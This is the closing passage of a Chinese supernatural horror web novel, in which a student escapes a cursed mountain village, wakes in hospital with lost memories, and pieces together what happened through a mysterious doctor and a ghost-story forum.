同时她们也一眼看到洞口对面小山上立着一只瘸腿瞎眼的瘦鸡,正是她们那只,在瞧见她们出来后,咕咕咕怪叫几声,转身跳进了林子里,不见踪影。 外面天色阴沉沉的,飘着细密的小雨。 从光线判断不出是什么时候,有可能是上午,也有可能是下午。 几人一个接着一个满身泥泞地爬出洞口,顺着湿滑的泥泞小路滚下小坡,洞口边是一个小瀑布,瀑布底下是一汪清澈的水潭。 奔至水潭边,第五页几乎想立刻跳进水里,好好把身上上下都洗一遍,可惜她没那个力气,也没那个心力了。 顾不得山里的水可能有细菌,山水喝起来会不会肚子疼,趴在水边,大口大口喝起来。 一口甘甜顺着口腔流入腹中,冰凉的水将她们混沌的神志唤回。喝饱水,她们继续赶路,不敢在山里停留太久。 华悠悠第五页裴桐三人相互搀扶,轮流背着曹永朝和宋英杰,凭着脑海里零星的记忆,拼命往山外赶去。 很快,山里的天阴沉下来,雨丝密密麻麻地落下,钻入她们本就没干的衣服,冰冷的寒意渗入骨髓,几人的身体冻到几乎麻木,脑海里只剩下一个念头:快点离开这里。 幸运的是,凭着裴桐对山路的记忆,带着第五页和华悠悠顺利找到了她们进山时乘坐的那辆车。 来到那个山坡上,刚把曹永朝和宋英杰搬进车里,裴桐便因为失血太多,脸色白得吓人,在车内昏了过去。 第五页之前也没吃多少东西,现在也是手脚发软。倒是华悠悠还有点力气,跳进驾驶座,毫不犹豫地踩下油门,往山下开去。 汽车在嶙峋颠簸的山路上摇摇晃晃,车内几人几乎要把肚子里的东西吐个精光。 第五页靠在后座上,只觉得此前的一切都像一场荒诞又恐怖的噩梦,直到坐上这辆熟悉的车,才隐约觉得这场噩梦终于要醒了。不过梦真的醒了吗? 看向车厢里昏迷不醒的曹永朝、裴桐与宋英杰,还有驾驶座上紧绷着神色的华悠悠。 坐在后座的第五页突然下意识缓缓回头,透过沾满雨珠的后车窗,朝身后的山坡望去。 只见在他们车后数百米外的山坡上,密密麻麻跟来了一大片黑色的人影,他们佝偻着身体,像极了荒村里的老人。 他们成群结队地跟着,既不靠近也不离去,像是要跟着他们一起离开这些山。 34. 第三十三章:醒来 第五页再次醒来时,是在医院里。病房外传来窸窸窣窣的说话声。 她躺在病床上,手边输液架上的吊瓶内缓慢滴落,空气中满是清冷又刺鼻的消毒水的味道。她怔怔地望着洁白的天花板,隔了许久才回神。 就在这时,门外的交谈声消失。 吱呀一声,她的妈妈推门进来,抬头见到床上的她睁眼,原本满脸愁容的她眼眶迅速一红,泪水径直滚落,快步走到床边,紧紧将她拥住,声音哽咽又颤抖,反反复复地念叨着:“醒来就好……醒来就好……” 第五页感受着母亲温暖又用力的怀抱,僵硬了一会,才缓缓抬起虚弱的手臂回抱住她。 或许是因为刚从一场噩梦里醒来,她的脑袋还有些懵,脑子里的记忆断断续,直到休息一会脑子清醒不少,她父母跟医生确定她没什么大碍后,才把她的事跟她说了遍。 从她父母那里第五页得知,暑假她和裴桐以及学校社团里的几位同学去一个县城玩,一时好奇跑进了深山,在山里误食有毒的野生植物,上吐下泻。几人迷路,在山里转了许多天,等兜兜转转回到县城时,他们几乎面目全非全成了泥人。 回城那天下着大雨,他们晕倒在路边,是路过的警察把他们送往了医院,还联系了每个人的父母。 万幸的是所有人做完全面检查后,医生说没有严重的生命危险,只是每个人身上带些小伤,可能还有点营养不良,醒来后多补补就可以了。 第五页就这样愣愣地听着他们讲述她的故事。 她在医院一共待了六天,第七天跟着父母回了家。回家那天她妈妈特意去菜市场买了鱼,说要好好给她补补。 楼道里,妈妈提着刚买的鲜鱼走在前面,掏出钥匙准备开门。 第五页安静地站在身后,目光落在她家门口的一摞箱子上,箱子并没有封实,心里好奇,她便走过去随手翻了翻。没想到里面居然有不少她的东西。 “妈,这些都是要扔的吗?”第五页疑惑抬头问正在开门的母亲。 她家大门咔哒一声打开,第五页妈妈扶着门框,看一眼她手底下的箱子山,轻轻点了点头,“是啊,前段时间收拾屋子,想着断舍离清理一批东西。结果你突然出事进了医院,就没来得及扔,一直堆在门口了。” “可是这里面有好多我的东西啊。”第五页轻声道。 第五页妈妈像是这才反应过来,走到她身边往箱子里扫了眼,看清箱子里的东西后,猛地拍了下额头,一脸懊恼,“哎呦,错了错了,我怎么把你的东西也混进去了!还好没丢掉,先进屋吧,等会再把这些搬进来整理整理。” 说完,提着鱼先走进屋里。 第五页却站在原地,心头浮起一丝说不清道不明的恍惚,仿佛有什么重要的东西从指缝间溜走。她愣神不过两秒,身后邻居家的门忽然吱呀一声被推开。 裴桐站在门口,穿着和她同款病号服,脸色依旧苍白,在看见她的那一刻,他紧皱着的眉头总算一点点舒展开来。 回到家,第五页妈妈一头扎进厨房准备饭菜,她爸打来电话说还有一会才能回来。 第五页凭着记忆回到房间,房间空了不少,有许多属于她的东西被收起来,放在了楼道的那些箱子里。 她轻轻躺在床上,久违的安心涌上心头,一直紧绷的身体直到这时才彻底放松下来。 直到这一刻,她才恍然有种真的回家的感觉。 她真的回家了。 只是望着卧室的天花板,她的眼神慢慢放空,心底总盘旋着一丝违和感,隐隐觉得哪里不对劲,却又说不上具体是哪里。 尤其是关于和裴桐一起去石阳县的记忆,记忆模糊得仿佛被连日大雨泡得发了霉。 她只记得自己是和灵异社团的伙伴们一起进的山,在山林里绕了很久很久,却始终没有找到他们要找的那个雨守村。 但是在山里绕路的记忆总是模模糊糊的,在山里他们究竟发生了什么?真的只是在山里误食了东西,食物中毒才回来的吗?他们……真的从头到尾都没有找到雨守村? 失落像潮水般漫上心头,紧接着的是一片空荡荡的疼,仿佛心口被生生挖走了一块。 第五页脑子越想越乱,干脆起来去洗了个澡。 洗完澡,她站在镜子前擦头发,低头时无意间瞥见洗漱台底下的脏衣篓,里面堆着几件沾满污渍破破烂烂的衣服,想来是妈妈还没来得及拿去洗。 她顶着毛巾蹲下身,拎出其中一件衣服,认出这些衣服是她带去石阳县的衣服。 不过她就进山了一趟,现在这衣服居然变得这么破破烂烂,上面全是口子、泥印、血斑,看上去完全不能穿了。 想着,她便准备把衣服丢回篮子里。突然,裤子口袋掉出几个小东西,在瓷砖地面上发出啪嗒的声响。 那些是只有指甲盖大小的盒子,密封性很好。 第五页记得这些东西是她用来装她治疗她病的东西的,她当初决定去雨守村,也是为了寻找治她病的药材,所以也把这些东西带过去了。没想到最后连雨守村都没找到。 想着,她捡起那几个小盒子,准备洗一洗收回去。却没想到刚拿起盒子,便明显感觉到了里面的重量。 这些盒子里有东西? 第五叶的心脏猛地一跳,将小盒子全部收入掌心,回到房间。 仔细擦拭盒子外壳后,一个个小心翼翼地打开。 书桌上一共摆了五只盒子,每个里面都装有东西,碎石水珠黄泥枯叶还有几缕形状怪异的白色菌丝。什么乱七八糟的都有。 看着盒子里的这些东西,第五页心底突然升起一个强烈的直觉。她想,或许她这一次进山并不是什么都没找到,她真的找到了什么,只是她忘了。 这么想着,第五页胸腔里的心脏越跳越快。 她小心翼翼地将所有盒子收好,找出许久未曾开机的手机,打了一个电话。随后,趁着妈妈还在厨房忙碌,她轻手轻脚地换好衣服,偷偷出了门,直奔小区附近最近的快递站,将这些东西加急寄了出去。 等她收到回复,已是三天后。 这三天里,第五页身上的伤也养得差不多了。 她先后联系了当时一同进山的华悠悠和宋英杰,两人是他们五人当中最早醒来的,只是醒来后他们的说法也和她父母一样。 进山迷路、误食野物、食物中毒,拼尽全力跑回县城才捡回一条命。 第五页还记得华悠悠喜欢拍照,如果进山的话,肯定会随手记录。便问对方有没有拍到过什么奇怪的照片。 却没想到说起这个,另一头华悠悠发来叹气以及心疼抓心挠肝的表情包。 说她的相机回来后发现进了不少水,可能是山里接连下雨的缘故,拍出来的照片全部糊了。她尝试过洗出来,结果发现那些照片像发霉了一样,完全不能看。 说着,她还把那些洗过的照片给她发过来,果然如她所说的那样,照片百分之八十都被一种青白色的霉菌所覆盖,只剩下模糊的山影和树叶,除此之外,什么都看不清。 第五页只能放弃从他们那里获取更多线索。 收到快递收件人消息的那天,第五页正在家里阳台晒太阳。 去石阳县的那些日子,天天下雨,基本没见过几天太阳。回来之后,她便格外贪恋阳光的温暖,只要天气好,都会到阳台待着。 就在这时,怀里的手机猛地一震。 是她寄出快递收件的那个人,此时居然直接给她发了条消息,两个字:下楼。 第五页当即一个翻身,穿上衣服,麻利下楼。 然而下楼后却并没有瞧见什么奇怪的人。其实她也不知道给她发消息的人长什么样,是男是女,对方怕麻烦,他们一直是用网络联系,偶尔会辅助一些快递,寄一些东西。 第五页以为这人给她发消息,肯定是有了重大结果,才那么快跑下来。 可跑下来一看,楼底下只有小区里的大爷大妈们在树荫底下支了个麻将桌打麻将,见她下来,还热情地跟她打招呼。 第五页问他们有没有看到陌生人过来,大妈们摇摇头。 她只能狐疑地往小区外走,刚走出小区大门,手机又震动一下,第二条消息发来,是一个定位,显示在附近一家小酒店。 第五页跟着定位过去,酒店还算正规,走廊大厅都有监控。 她问了下前台的小哥,小哥像是早知道会有人找过来,立马给她说了房间号。 就这样,她拿着手机继续往上走,坐电梯上到三楼,穿过长长的走廊,来到305号房门口,敲门。 很快,门从里面被打开。 开门的是个三十岁左右的漂亮女人,像是刚洗完澡,穿着酒店的浴袍,拿毛巾擦头发。看见门外的第五页,她脸上没有半分惊讶,只是淡淡地抬了抬眼。 “来了,进来吧。” 话音落下,她便转身走回了房间。 第五页在门口迟疑两秒,才迈步走了进去,为了安全,她特意没有将房门完全关严。 “你是谢伽欢?”她站在原地,轻声确认。 两人曾在网络上交换过一点信息。 漂亮女人轻轻嗯了声,随后从床头柜上摸出两张证明朝她丢来。 最上面一张是身份证,照片上的头像和眼前的女人一样,以及姓名、性别、年龄全部对应得上。 底下是一张医院工作证,同样的头像照片,下方印着医院名称地址以及所属部门。 白河中心医院,心内科。 第五页记得这个医院,当初父母带她看病时跑过大大小小的医院,其中就有这个。 她心中的疑虑打消几分,刚准备抬头问她更多的东西,没想到漂亮女人突然靠近,像是懒得跟她啰嗦似的,说了句,“张嘴。” 不等第五页反应,女人轻轻捏住她的下颚,强行掰开她的嘴,指尖一弹,将一个小小的东西丢进她的口中。 突如其来的动作让第五页完全来不及躲闪,下意识吞咽,那东西便顺着喉咙滑进腹中,只在喉咙上留下黏腻恶心的触感。 她惊恐地捂着脖子,憋红一张脸质问女人,“你给我吃的什么东西?” 漂亮女人接了杯温水递给她,语气平静无波,薄唇轻启,“你的药。” 实在受不了喉咙里黏腻的不适感,第五页接过水杯,昂头大口喝尽,脸上的涨红才慢慢褪去,表情怪异地重复了一遍她的话,“药?” 刚才她吃的是救她病的药? 虽然知道漂亮女人就是网上跟她一直联系的那个人,雨守村有治她病的东西也是她从她那里得来的线索,但两人毕竟没有线下真实见过,这是她俩第一次见面。即使对方说她刚吞的是她的药,第五页还是有些怀疑。 她刚才吃了药。 所以现在身上的病是好了吗? 她这么想,也直接开口问了。 “那……我现在身上的病好了?” “差不多吧,只是缓解了药的引子。”女人继续慢慢擦着头发,淡淡瞥了她眼,“我研究过你寄来的那些东西,它们跟你身上的东西有关,但关联不大。放在自然界大概就是属于同一科的意思。” 第五页有些没听懂。 谢伽欢擦干头发,拿下毛巾,继续问她,“你不是一直认为自己身上的血是病吗?” “呃……嗯。”她点了点头。 “那我换个说法,你寄给我的东西就是你同类身上的东西。再具体点,就是你同类身上的病的成因,而刚好,它的病的成因可以缓解你病的药引。” 谢伽欢冷着一张脸,缓慢靠近她,即使洗过澡了,身上也有淡淡的消毒水味传来,第五页前段日子一直在医院里待着,对这种味道很敏感,所以她一靠近她就闻到了。 然而对方并没有理会她这片刻的愣神,从她手中抽回自己的身份证和工作证,继续淡淡给她解惑,“虽然我没办法完全治好你的病,但可以让你不再那么痛苦。我记得你之前跟我说过,你病发之后会需要朋友的血才能缓解,那我刚才给你吃的药,差不多是对你身体里血的记忆来了个重置,让他们忘掉你朋友血的味道。” 说着,她指了指她手中喝水的杯子,“为了以防万一,回去之后晚上睡觉前都不要再吃其他东西。多喝水,以后如果再病发,喝水就可以了。” 一段信息量爆炸的话涌入脑海。 第五页还在思考女人刚刚说的同类。 同类是什么意思?山里有她的同类吗?水土叶子?还是那一团白色菌丝? 然而谢伽欢说了这么多话,仿佛说累了,打着哈欠伸懒腰,就要赶人。“哈,我想我应该解释的够清楚了。没其他的事的话我就先休息了,你后续如果还有其他问题和副作用,可以直接在网上问我。” 说完,一把将她推出房间,砰地将门关上。 第五页站在门口,手中还拿着那个杯子,低头看着杯子摩挲一阵,随后将杯子放在了房间门口。 拿出手机,开始在网上搜索谢伽欢的信息,之前她在网上和对方交换了信息后,不是没在网上搜索过对方,但那时网上同名的不少,一搜能有几十个叫谢伽欢的。 现在不一样了,她有了对方的医院信息,还有部门。很快就搜到了网上关于身后房间女人的消息。和刚才工作证上的消息基本上能对上,医院官网上甚至还有女人的相关报道,点进报道链接。还能看到一段关于女人的视频采访。 第五页站在门外,戴上耳机,默默听完整段采访,对女人的身份又了解了些。 关掉手机,她感受一下身体。 除了刚才吃药喉咙里那一点黏腻的不适,身体再没其他感受,没出现腹痛,她的病也没有突然病发,撸起袖子一看,不知是不是她的错觉,感觉身上原本的可怖纹路也淡了许多。 第五页觉得即使今天晚上没有其他症状,明天还是去医院挂个体检看看吧。 这么想着,她拿着手机往外走。 虽然莫名其妙吃了所谓的药,但第五页心中依旧有大半的疑惑没有得到答案。 刚才那个女人在房间里说的同类是什么?照目前的情况来看,她去石阳县的那段日子,多半是进山找到了雨守村,那同类会是村子里的人吗?她到底有什么地方是跟对方相同的?生病?那里面也有跟她一样得病的人?按照刚才那女人的说法,是因为他们生病了才刚好缓解了她的病? 第五页想着想着离开酒店,在踏出酒店的那一刻,一股卷着雨气的风从侧面吹来。 她抬头一看,就她进酒店的这几分钟里,外面天色迅速阴沉下来,不知何处飘来的厚实乌云遮住刚才正好的阳光,仿佛随时会有一场大雨来袭。 她没看到有天气预报说今天下午有雨。 因这突如其来的雨,第五页的心情也跟着变差,仿佛一瞬间回到石阳县,回到那个深山,被水泡发的肺喘不过来气。 手机震动下,是她妈妈发现她不在家,问她去哪了,还说快下雨了,担心她没有带伞问需不需要去接她。 第五页回了个不用和马上回来。 刚发完,将手机丢进兜里,快速往家的方向跑去,想趁雨下来之前跑回家。 回家的路上,天越来越黑。 第五页埋头赶路,猛地一个抬头,周围的居民楼小商店等房子似乎在那一瞬间变换,变成一座座空荡荡的土房,脚下的水泥路也似乎在一瞬间变成了山里的土路和石板铺成的路。 第五页后背一僵,停在马路边。 再一眨眼,周围的房子又变回了原本的模样,一辆车从马路对面驶来,从她身边经过,扬起一阵风,像是又把她从那个世界拉了回来。 是幻觉吗? 还是这就是刚才那人所说的副作用? 第五页用力揉了揉眼睛,可是周围场景没再变换。 如果是幻觉,她为什么会出现这样的幻觉?那些房子看起来像是被荒废了样,没有人住,不像是城市里的房子。 第五页隐隐有预感,或许她刚刚看到的房子,就是雨守村的样子。是因为她刚吃了药,才想起了忘记的事吗? 她不知道,脑袋因此越想越疼,最后径直按着太阳穴蹲在马路边。 她想回酒店去找那个女人,但却疼得完全站不起来。脑海在这一刻变得混乱,周围场景似乎在她眼前不停闪动,一会是荒村的样子,一会是深山的样子,最后是城市的样子。 后来回忆起来。 第五页觉得当时恢复记忆是件挺奇妙的事,像是哼了许久歌的上半句终于唱出了下半句,又像是半夜辗转反侧的问题终于得到答案安心睡去。 关于雨守村的记忆,它就那么像一张密网在她脑海中慢慢织了起来。 等到脑袋的疼痛慢慢褪去 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第五页还记得最初提出去雨守村这个想法的人是曹永朝,他是从他表妹那儿得来的消息,如果想要知道更多,他或许能给到她答案。 想着,她联系了曹永朝。 幸运的是经过这些天的休整,他们五个人当中最后一个人曹永朝也醒了过来,身体已无大碍,还在群里给他们报了平安。 第五页私信对方,可惜的是当她问起关于雨守村的消息时,对方却发了个挠头的表情包过来,说是当初他搞错了,他表妹说的那个地方根本不是雨守村,他给搞混了。 第五页有些不信,就算搞混,他们也确确实实到达过石阳县,还在山里找到了雨守村,虽然这件事本身其他人都不记得了。 如果真的只是搞混这么简单?那曹永朝为什么会得到地址? 于是她又问他从哪知道的关于雨守村其他的信息,这次对方给了她一个网站地址。 自从上大学进入灵异社团后,曹永朝便痴迷各种灵异古怪的事情,或者说社团里的每个人都是这样,那当然灵异网站也不例外。 曹永朝关于雨守村的具体位置和其他信息便是从这个网站上得来的。 网站名叫夜话鬼坛,页面粗糙,满满的网络时代刚兴起的风格。 第五页点进去看了一会,有一多半的帖子都在分享半真半假的灵异故事,那些故事来自各行各业,各种地方,有亲身经历的,也有发现身边人不对劲的。 比如说有人分享自己晚上睡觉会莫名其妙听到叹气声,又比如有人分享自己在剧组看见过鬼,但无论是怎样的帖子,他们开头必定是以“友友”这两个字,像是这个论坛约定俗成的暗语。 友友们,我最近发现我的家人好像在监视我…… 友友们,我过年回乡下开车带着家人转进了坟地…… …… 这样的帖子看的多了,第五页总有种熟悉的感觉。她感觉自己不像是在看什么灵异故事论坛,倒像是在看病友交流论坛。 自从生病后她也加入过大大小小的病友群,现在这个灵异网站上的帖子跟她加的病友群里发的话相差无几,每个人来到这里都是因为生了“病”,或是自己中邪或是身边人中邪,现代医疗救不了他们,他们便在这个网站上寻求一丝希望。 网站上的帖子太多,第五页直接看到了晚上,大概了解了网站的规则,只允许在网站上分享自己知道的,不允许私下联系,管理员删得很快。 知道这些后,第五页思考了会,随后将从她开始寻找雨守村,到从山里逃出来整件事情模糊掉部分信息发了个帖子,企图在这个网站上得到一些答案。 或许是她发帖的时候刚好有人在看,帖子发出去没多久便得到了回复,一个小孩样口吻的人在底下回复。 【1楼】:楼主这是遇到病友了啊。 看着这模棱两可的回复,第五页迅速打字。 【楼主】:感谢回复,可以具体说一下病友是什么意思吗? 回复里病友两个字,立刻让第五页联想到了昨天在酒店里女人说的同类,如果说病友就是同类,那雨守村里谁才是她的病友? 回复给了她答案,只是这次对方回复得很慢,像是问了一圈才来回答她。 【2楼】:要具体描述的话就很宽泛了,用我家大人的话说就是这个世界其实是一个巨大的病院,每个人都是病人,互相又为病友。小的感冒发烧,大的癌症肿瘤,哪怕从小到大身体没出现过任何异常,我们人也会得一种名为“衰老”的病,为了治这病,古代多少皇帝君王寻求长生药,而我们的一生也不过是在治病的路上。 我家大人说了关于病又分为两种,一种是世俗意义上身体上的病,比如说肺病、头痛以及牙痛。还有一种病更为虚无缥缈,关于血,运还有气,通俗来说就是邪病,比如说见到脏东西啦,又或者被脏东西上身,这种就被称之为邪病。邪病不能找正常医生治,只能找圈内的“医生”来看。 一大段话,第五页看到最后想起那酒店那个女人,所以说谢伽欢是圈内的医生吗?她身上的病也可以称之为邪病,虽然这病最后并没有治好,只是缓解。 想着,她继续打字。 【楼主】:谢谢你的解惑!可以再问一下你家大人病友是怎么个说法吗?如果我在那个地方遇见了病友,那谁才是我的病友? 换句话说,谁才是她的同类? 【3楼】:额,我家大人还说这个世界上会生病的不止人类,除了人,动物植物,还有就是各种物件,哪怕一块小小的石头都会生病,这种病不能用你的常识去理解。如果你真的在那个荒村里遇见了病友,那我家大人所说的那个地方另一个生病的是……山。 是山生病了,才把那里的老人困住一年又一年,里面的人走不出去,外面的人记不住,连地府里的黑白都找不到他们,无法将他们送去投胎。所以老人才会不停在山里游荡,那是在寻找出去的路,又或者寻找彻底死去的路。 我家大人看你最后说离开山的时候车后面好像跟了一大队鬼影,那是被困住的老人们正跟着你们离开那些山。 - 得到最后一个问题的答案,第五页终于在这个暑假安生下来,出去在山上折腾一番,虽然身体没大碍,但精神消耗不少,她暑假的后半个月几乎都在家里度过。 直到开学前夕,第五页又独自一人回了石阳县,找到当初齐聪的旅行社,木雕店和旅行社纷纷关门,被房东挂上了转让的牌子。 那块写有天堂旅行社五个大字的泡沫板,被隔壁小孩拿去在背面画上了棋盘图案。 第五页问了附近的人,如她所料的是没有人记得齐聪,甚至不记得旁边的店有被租出去过。 她心底泛起一阵酸,或许这个世界上只有她记得齐聪了。 中午吃过饭,县城又开始下雨,好在雨很小。 第五页又在城里找了个向导,是位五十多岁的大妈,讲话带着浓浓的口音,但做事很利索,在她说想进山看看后,当天下午便给她找了车,带她进山。 等进到山里,雨已经停了。 凛冽的空气带着雨气钻进鼻腔,仿佛要将整个身体内部冲洗干净。 第五页站在山坡上,望着远处连绵的山,摸到脖子上挂的相机。 自从上次出来一趟,她也跟华悠悠一样迷上了拍照,暑假跟她妈妈要了笔钱,经过华悠悠的指导买下这部相机。 此时看着那些此起彼伏的山,山顶连着天,山峰隐在云雾里,像是把天戳出了洞,那些雨便顺着那些洞落到地上。 第五页看着看着,举起相机,对着那些山峰按下快门。 旁边大妈瞧见不甚在意地接茬说:哎哟这些山坟有什么好拍的? 听到她的话,第五页瞬间愣住,转头,愣愣地问她,“你说什么?” 大妈以为她是不高兴了,给钱的都是客人,当即语气放软又重复了遍。 第五页重新听了遍才明白,大妈说的不是山坟,而是山峰,只是因为口音,她才听起来像山坟。 不过这样的误会并未让她生气,反而觉得再合适不过。谁又说这些山不是一座座坟呢? 她笑着转头,再次看向那些山,像是在回答大妈的话,“是啊。” (全文完)